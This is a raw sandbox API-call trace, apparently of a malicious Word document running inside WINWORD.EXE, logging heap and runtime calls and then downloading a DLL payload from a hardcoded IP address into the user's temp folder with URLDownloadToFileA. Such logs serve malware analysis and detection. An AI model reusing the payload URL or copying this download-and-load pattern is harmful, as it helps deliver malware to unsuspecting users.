!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0099.186] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x196a68, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0099.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x197328, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿb\x90Y»dv\x19", lpUsedDefaultChar=0x0) returned 256 [0099.186] RtlInitializeSListHead (in: ListHead=0x1208a0e8 | out: ListHead=0x1208a0e8) [0099.186] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76720000 [0099.187] GetProcAddress (hModule=0x76720000, lpProcName="FlsAlloc") returned 0x7673a980 [0099.187] GetProcAddress (hModule=0x76720000, lpProcName="FlsFree") returned 0x76744ff0 [0099.187] GetProcAddress (hModule=0x76720000, lpProcName="FlsGetValue") returned 0x76737570 [0099.188] GetProcAddress (hModule=0x76720000, lpProcName="FlsSetValue") returned 0x76739e30 [0099.188] GetProcAddress (hModule=0x76720000, lpProcName="InitializeCriticalSectionEx") returned 0x76746740 [0099.189] GetProcAddress (hModule=0x76720000, lpProcName="InitOnceExecuteOnce") returned 0x769cc2d0 [0099.189] GetProcAddress (hModule=0x76720000, lpProcName="CreateEventExW") returned 0x767466a0 [0099.190] GetProcAddress (hModule=0x76720000, lpProcName="CreateSemaphoreW") returned 0x76746710 [0099.190] GetProcAddress (hModule=0x76720000, lpProcName="CreateSemaphoreExW") returned 0x76746700 [0099.191] GetProcAddress (hModule=0x76720000, lpProcName="CreateThreadpoolTimer") returned 0x7673ace0 [0099.191] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadpoolTimer") returned 0x77217dc0 [0099.191] GetProcAddress (hModule=0x76720000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77224010 [0099.192] GetProcAddress (hModule=0x76720000, lpProcName="CloseThreadpoolTimer") returned 0x77222a50 [0099.192] GetProcAddress (hModule=0x76720000, lpProcName="CreateThreadpoolWait") returned 0x7673a7b0 [0099.193] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadpoolWait") returned 0x77222290 [0099.193] GetProcAddress (hModule=0x76720000, lpProcName="CloseThreadpoolWait") returned 0x77222910 [0099.194] GetProcAddress (hModule=0x76720000, lpProcName="FlushProcessWriteBuffers") returned 0x77247a60 [0099.194] GetProcAddress (hModule=0x76720000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7723ac00 [0099.195] GetProcAddress (hModule=0x76720000, lpProcName="GetCurrentProcessorNumber") returned 0x7722a890 [0099.195] GetProcAddress (hModule=0x76720000, lpProcName="CreateSymbolicLinkW") returned 0x76760830 [0099.196] GetProcAddress (hModule=0x76720000, lpProcName="GetCurrentPackageId") returned 0x769cded0 [0099.196] GetProcAddress (hModule=0x76720000, lpProcName="GetTickCount64") returned 0x76733630 [0099.197] GetProcAddress (hModule=0x76720000, lpProcName="GetFileInformationByHandleEx") returned 0x76760ea0 [0099.197] GetProcAddress (hModule=0x76720000, lpProcName="SetFileInformationByHandle") returned 0x76746c30 [0099.197] GetProcAddress (hModule=0x76720000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x76746cf0 [0099.198] GetProcAddress (hModule=0x76720000, lpProcName="InitializeConditionVariable") returned 0x771f6710 [0099.198] GetProcAddress (hModule=0x76720000, lpProcName="WakeConditionVariable") returned 0x7723c720 [0099.273] GetProcAddress (hModule=0x76720000, lpProcName="WakeAllConditionVariable") returned 0x77238d70 [0099.276] GetProcAddress (hModule=0x76720000, lpProcName="SleepConditionVariableCS") returned 0x76a47f60 [0099.287] GetProcAddress (hModule=0x76720000, lpProcName="InitializeSRWLock") returned 0x771f6710 [0099.288] GetProcAddress (hModule=0x76720000, lpProcName="AcquireSRWLockExclusive") returned 0x7721d210 [0099.288] GetProcAddress (hModule=0x76720000, lpProcName="TryAcquireSRWLockExclusive") returned 0x771f3650 [0099.289] GetProcAddress (hModule=0x76720000, lpProcName="ReleaseSRWLockExclusive") returned 0x7721d080 [0099.289] GetProcAddress (hModule=0x76720000, lpProcName="SleepConditionVariableSRW") returned 0x76a47fb0 [0099.290] GetProcAddress (hModule=0x76720000, lpProcName="CreateThreadpoolWork") returned 0x7673ea00 [0099.290] GetProcAddress (hModule=0x76720000, lpProcName="SubmitThreadpoolWork") returned 0x7721ce10 [0099.291] GetProcAddress (hModule=0x76720000, lpProcName="CloseThreadpoolWork") returned 0x77220550 [0099.291] GetProcAddress (hModule=0x76720000, lpProcName="CompareStringEx") returned 0x7673ff80 [0099.292] GetProcAddress (hModule=0x76720000, lpProcName="GetLocaleInfoEx") returned 0x7673a750 [0099.293] GetProcAddress (hModule=0x76720000, lpProcName="LCMapStringEx") returned 0x76739a10 [0099.293] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x800) returned 0xb3a9d80 [0099.294] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0099.294] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1208a8f0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\winword.exe")) returned 0x3c [0099.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x4c) returned 0xca86a10 [0099.294] GetEnvironmentStringsW () returned 0xcb3aa88* [0099.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1511, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1511 [0099.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x5e7) returned 0xf2b28d8 [0099.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1511, lpMultiByteStr=0xf2b28d8, cbMultiByte=1511, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1511 [0099.294] FreeEnvironmentStringsW (penv=0xcb3aa88) returned 1 [0099.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xa0) returned 0xf331e30 [0099.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x1f) returned 0xcad03f0 [0099.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x2e) returned 0xf148f68 [0099.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x37) returned 0xcaa5a80 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x3c) returned 0xcae4988 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x31) returned 0xcaa6100 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x14) returned 0xc87c470 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x24) returned 0xc7ce900 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x31) returned 0xcaa6140 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x28) returned 0xc7ce930 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xd) returned 0xf22d4c8 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x1d) returned 0xcad0468 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x31) returned 0xcaa4840 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x15) returned 0xc87c510 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x17) returned 0xc87c690 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xe) returned 0xf22d468 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x69) returned 0xc8ec910 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x3e) returned 0xcae4670 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x1b) returned 0xcad0580 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x1d) returned 0xcad0710 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x48) returned 0xcb67cf8 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x12) returned 0xc87c6b0 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x18) returned 0xc87c550 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x1b) returned 0xcad0508 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x24) returned 0xc7ce870 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x29) returned 0xf149010 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x1e) returned 0xcad0490 [0099.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x6b) returned 0xc8ec190 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x17) returned 0xc87c7d0 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x14) returned 0xc87c770 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xf) returned 0xf22d4f8 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x16) returned 0xc87c5b0 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x2a) returned 0xf148fa0 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x29) returned 0xf148fd8 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x12) returned 0xc87c5d0 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x21) returned 0xc7cea50 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x16) returned 0xc87c810 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x22) returned 0xc7cecc0 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x12) returned 0xc87cab0 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x65) returned 0xcadb540 [0099.296] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xf2b28d8 | out: hHeap=0x6e0000) returned 1 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x80) returned 0xca75f90 [0099.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0xcae8990 [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x20) returned 0xcad0828 [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x2) returned 0xcae88f0 [0099.297] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae88f0 | out: hHeap=0x6e0000) returned 1 [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x2) returned 0xcae88b0 [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0xcae8960 [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x18) returned 0xc87c890 [0099.297] GetLastError () returned 0x0 [0099.297] SetLastError (dwErrCode=0x0) [0099.297] GetLastError () returned 0x0 [0099.297] SetLastError (dwErrCode=0x0) [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xb8) returned 0xb3bd1c8 [0099.297] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6a6) returned 0xf2b28d8 [0099.298] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xf2b28d8 | out: hHeap=0x6e0000) returned 1 [0099.298] GetLastError () returned 0x0 [0099.298] SetLastError (dwErrCode=0x0) [0099.298] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0xcae89b0 [0099.298] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x2) returned 0xcae88e0 [0099.298] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x4) returned 0xcae88f0 [0099.298] GetLastError () returned 0x0 [0099.298] SetLastError (dwErrCode=0x0) [0099.298] GetLastError () returned 0x0 [0099.298] SetLastError (dwErrCode=0x0) [0099.298] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xb8) returned 0xb3bdd08 [0099.298] GetLastError () returned 0x0 [0099.298] SetLastError (dwErrCode=0x0) [0099.298] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6a6) returned 0xf2b28d8 [0099.298] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xf2b28d8 | out: hHeap=0x6e0000) returned 1 [0099.298] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae89b0 | out: hHeap=0x6e0000) returned 1 [0099.298] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xb3bd1c8 | out: hHeap=0x6e0000) returned 1 [0099.298] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae88f0 | out: hHeap=0x6e0000) returned 1 [0099.298] GetLastError () returned 0x0 [0099.298] SetLastError (dwErrCode=0x0) [0099.298] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0xcae89e0 [0099.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x2) returned 0xcae8a90 [0099.299] GetLastError () returned 0x0 [0099.299] SetLastError (dwErrCode=0x0) [0099.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x200) returned 0xc823f68 [0099.299] GetLastError () returned 0x0 [0099.299] SetLastError (dwErrCode=0x0) [0099.299] GetLastError () returned 0x0 [0099.299] SetLastError (dwErrCode=0x0) [0099.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x4) returned 0xcae8a30 [0099.299] GetLastError () returned 0x0 [0099.299] SetLastError (dwErrCode=0x0) [0099.299] GetLastError () returned 0x0 [0099.299] SetLastError (dwErrCode=0x0) [0099.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xb8) returned 0xb3bd1c8 [0099.299] GetLastError () returned 0x0 [0099.299] SetLastError (dwErrCode=0x0) [0099.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6a6) returned 0xf2b28d8 [0099.299] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xf2b28d8 | out: hHeap=0x6e0000) returned 1 [0099.299] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae89e0 | out: hHeap=0x6e0000) returned 1 [0099.299] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xb3bdd08 | out: hHeap=0x6e0000) returned 1 [0099.299] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae8a30 | out: hHeap=0x6e0000) returned 1 [0099.299] GetLastError () returned 0x0 [0099.300] SetLastError (dwErrCode=0x0) [0099.300] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0xcae8a70 [0099.300] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae8a90 | out: hHeap=0x6e0000) returned 1 [0099.300] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae88e0 | out: hHeap=0x6e0000) returned 1 [0099.300] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0xcae8950 [0099.300] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x50) returned 0xca86d80 [0099.300] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0xcae4868 [0099.300] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0xcae49d0 [0099.300] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0xcae4f70 [0099.301] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0xcae53f0 [0099.301] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae53f0 | out: hHeap=0x6e0000) returned 1 [0099.301] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0xf294d08 [0099.301] GetLocalTime (in: lpSystemTime=0x197574 | out: lpSystemTime=0x197574*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x26, wSecond=0x2c, wMilliseconds=0x301)) [0099.301] wsprintfA (in: param_1=0xf294d08, param_2="%02u:%02u:%02u " | out: param_1="18:38:52 ") returned 9 [0099.301] wsprintfA (in: param_1=0xf294d11, param_2="Starting download\n" | out: param_1="Starting download\n") returned 18 [0099.301] OutputDebugStringA (lpOutputString="18:38:52 Starting download\n") [0099.302] LocalFree (hMem=0xf294d08) returned 0x0 [0099.302] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1033) returned 0xcb3aa88 [0099.303] GetTempPathA (in: nBufferLength=0x1000, lpBuffer=0xcb3aaa0 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0099.304] GetTempFileNameA (in: lpPathName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\", lpPrefixString="y", uUnique=0x0, lpTempFileName=0xcb3aaa0 | out: lpTempFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\y5df8.tmp")) returned 0x5df8 [0099.308] DeleteFileA (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\y5df8.tmp")) returned 1 [0099.309] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0xf294d08 [0099.309] GetLocalTime (in: lpSystemTime=0x1975d8 | out: lpSystemTime=0x1975d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x26, wSecond=0x2c, wMilliseconds=0x310)) [0099.309] wsprintfA (in: param_1=0xf294d08, param_2="%02u:%02u:%02u " | out: param_1="18:38:52 ") returned 9 [0099.309] wsprintfA (in: param_1=0xf294d11, param_2="Starting download from %s to %s\n" | out: param_1="Starting download from http://45.8.146.139/fhfty/O-M--V4GO6516F-U91Z1DJNJ2U9D-823/rm to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll\n") returned 139 [0099.309] OutputDebugStringA (lpOutputString="18:38:52 Starting download from http://45.8.146.139/fhfty/O-M--V4GO6516F-U91Z1DJNJ2U9D-823/rm to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll\n") [0099.309] LocalFree (hMem=0xf294d08) returned 0x0 [0099.309] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x717a0000 [0099.359] URLDownloadToFileA (param_1=0x0, param_2="http://45.8.146.139/fhfty/O-M--V4GO6516F-U91Z1DJNJ2U9D-823/rm", param_3="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\y5df8.tmp.dll"), param_4=0x0, param_5=0x0) returned 0x0 [0101.752] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0xf297d20 [0101.752] GetLocalTime (in: lpSystemTime=0x1975c8 | out: lpSystemTime=0x1975c8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x26, wSecond=0x2f, wMilliseconds=0xdc)) [0101.752] wsprintfA (in: param_1=0xf297d20, param_2="%02u:%02u:%02u " | out: param_1="18:38:55 ") returned 9 [0101.752] GetLastError () returned 0x0 [0101.753] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x19700c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x80ê|\x0c") returned 0x27 [0101.753] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x30) returned 0xf1499b0 [0101.753] LocalFree (hMem=0xc7cea80) returned 0x0 [0101.753] GetLastError () returned 0x0 [0101.753] wsprintfA (in: param_1=0xf297d29, param_2="Finished download from %s to %s: %d %s\n" | out: param_1="Finished download from http://45.8.146.139/fhfty/O-M--V4GO6516F-U91Z1DJNJ2U9D-823/rm to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll: 0 Error#0:The operation completed successfully.\r\n\n") returned 190 [0101.754] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xf1499b0 | out: hHeap=0x6e0000) returned 1 [0101.754] OutputDebugStringA (lpOutputString="18:38:55 Finished download from http://45.8.146.139/fhfty/O-M--V4GO6516F-U91Z1DJNJ2U9D-823/rm to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll: 0 Error#0:The operation completed successfully.\r\n\n") [0101.754] LocalFree (hMem=0xf297d20) returned 0x0 [0101.754] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0xcae5b88 [0101.754] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x38) returned 0xc7c9f10 [0101.754] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x76720000 [0101.756] GetProcAddress (hModule=0x76720000, lpProcName="AreFileApisANSI") returned 0x7673f300 [0101.756] AreFileApisANSI () returned 1 [0101.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcae5b88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0101.756] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x66) returned 0xcadb7e0 [0101.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcae5b88, cbMultiByte=-1, lpWideCharStr=0xcadb7e0, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll") returned 51 [0101.756] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\y5df8.tmp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x196ea4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd4 [0101.756] GetFileType (hFile=0xcd4) returned 0x1 [0101.757] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcadb7e0 | out: hHeap=0x6e0000) returned 1 [0101.757] CloseHandle 